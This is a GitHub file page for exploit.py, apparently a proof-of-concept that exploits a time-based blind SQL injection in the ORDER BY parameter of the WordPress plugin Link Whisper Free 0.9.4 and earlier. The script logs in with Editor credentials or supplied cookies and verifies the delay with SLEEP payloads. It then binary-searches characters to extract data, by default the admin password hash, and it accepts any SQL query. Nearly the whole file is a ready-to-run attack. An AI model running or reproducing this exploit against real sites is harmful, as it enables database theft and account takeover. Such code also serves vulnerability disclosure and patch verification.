-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
159 lines (129 loc) · 5.81 KB
/
exploit.py
File metadata and controls
159 lines (129 loc) · 5.81 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python3
"""
PoC: Link Whisper Free <= 0.9.4 SQL Injection (ORDER BY)
Required auth: Editor role (manage_categories capability)
Usage:
python3 exploit.py --url http://wordpress.local --user editor --pass Passw0rd
python3 exploit.py --url http://wordpress.local --cookie "wordpress_logged_in_xxx=..."
python3 exploit.py --url http://wordpress.local --cookie "..." --query "SELECT user_pass FROM wp_users LIMIT 1" --length 34
"""
import argparse
import time
import sys
import requests
from urllib.parse import urlencode
SLEEP_SECONDS = 2
THRESHOLD_MS = 2800
CHARSET = list(range(32, 127))
TARGET_PAGE = "/wp-admin/admin.php"
AJAX_URL = "/wp-admin/admin-ajax.php"
LOGIN_URL = "/wp-login.php"
def login(session: requests.Session, base_url: str, username: str, password: str) -> bool:
session.get(base_url + LOGIN_URL) # grab initial cookie
resp = session.post(base_url + LOGIN_URL, data={
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": "/wp-admin/",
"testcookie": "1",
}, allow_redirects=True)
return "wp-admin" in resp.url
def build_payload(sql_expr: str, pos: int, lo: int, hi: int, sleep: int) -> str:
return (
f"(SELECT SLEEP(IF("
f"ASCII(SUBSTRING(({sql_expr}),{pos},1)) BETWEEN {lo} AND {hi},"
f"{sleep},0)))"
)
def probe(session: requests.Session, base_url: str, payload: str) -> int:
params = {
"page": "link_whisper",
"type": "clicks",
"order": "asc",
"orderby": payload,
}
start = time.monotonic()
session.get(base_url + TARGET_PAGE, params=params, timeout=60)
return int((time.monotonic() - start) * 1000)
def extract_char(session: requests.Session, base_url: str, sql_expr: str, pos: int, sleep: int, threshold: int) -> int:
lo, hi = CHARSET[0], CHARSET[-1]
while lo < hi:
mid = (lo + hi) // 2
payload = build_payload(sql_expr, pos, lo, mid, sleep)
elapsed = probe(session, base_url, payload)
# The query runs twice (main + count), so threshold is sleep*2*1000
if elapsed > threshold:
hi = mid
else:
lo = mid + 1
return lo
def extract_string(session: requests.Session, base_url: str, sql_expr: str, length: int, sleep: int, threshold: int) -> str:
result = ""
for pos in range(1, length + 1):
code = extract_char(session, base_url, sql_expr, pos, sleep, threshold)
char = chr(code)
result += char
print(f"[{pos:02d}/{length}] ASCII={code:3d} char='{char}' {result}", flush=True)
return result
def verify(session: requests.Session, base_url: str, sleep: int, threshold: int) -> bool:
print(f"\n[*] Verifying injection (expecting ~{sleep*2}s delay) ...")
payload = f"(SELECT(0)FROM(SELECT(SLEEP({sleep})))x)"
elapsed = probe(session, base_url, payload)
print(f"Response time: {elapsed}ms (threshold: {threshold}ms)")
if elapsed > threshold:
print("[+] Injection CONFIRMED — delay observed")
return True
else:
print("[-] No delay observed injection may not be working")
return False
def main():
parser = argparse.ArgumentParser(description="Link Whisper <= 0.9.4 SQL Injection PoC (time-based blind ORDER BY)")
auth = parser.add_mutually_exclusive_group(required=True)
auth.add_argument("--cookie", metavar="COOKIE_HEADER", help="Raw Cookie header value (e.g. 'wordpress_logged_in_xxx=...')")
auth.add_argument("--user", metavar="USERNAME", help="WordPress username (Editor role required)")
parser.add_argument("--pass", dest="password", metavar="PASSWORD", help="WordPress password (required with --user)")
parser.add_argument("--url", required=True, metavar="URL", help="Target WordPress base URL (e.g. http://wordpress.local)")
parser.add_argument("--query", default="SELECT user_pass FROM wp_users LIMIT 1", metavar="SQL", help="SQL expression to extract (default: admin password hash)")
parser.add_argument("--length", type=int, default=34, metavar="N", help="Number of characters to extract (default: 34)")
parser.add_argument("--sleep", type=int, default=SLEEP_SECONDS, metavar="S", help=f"SLEEP duration in seconds (default: {SLEEP_SECONDS})")
parser.add_argument("--no-verify", action="store_true", help="Skip injection verification step")
args = parser.parse_args()
base_url = args.url.rstrip("/")
threshold = args.sleep * 1000 * 2 - 600
session = requests.Session()
session.verify = False
if args.cookie:
for pair in args.cookie.split(";"):
pair = pair.strip()
if "=" in pair:
k, v = pair.split("=", 1)
session.cookies.set(k.strip(), v.strip())
print(f"[*] Using provided cookies")
else:
if not args.password:
parser.error("--pass is required when using --user")
print(f"[*] Logging in as '{args.user}' ...")
if not login(session, base_url, args.user, args.password):
print("[-] Login failed — check credentials and URL")
sys.exit(1)
print(f"[+] Login successful")
if not args.no_verify:
if not verify(session, base_url, args.sleep, threshold):
print("\n[!] Injection not confirmed. Aborting.")
sys.exit(1)
print(f"\n[*] Extracting {args.length} chars of: {args.query}")
print(f"Sleep={args.sleep}s Threshold={threshold}ms\n")
t0 = time.monotonic()
result = extract_string(
session, base_url,
sql_expr=args.query,
length=args.length,
sleep=args.sleep,
threshold=threshold,
)
elapsed_total = time.monotonic() - t0
print(f"\n{'='*60}")
print(f"Result : {result}")
print(f"Time : {elapsed_total:.1f}s")
print(f"{'='*60}")
if __name__ == "__main__":
main()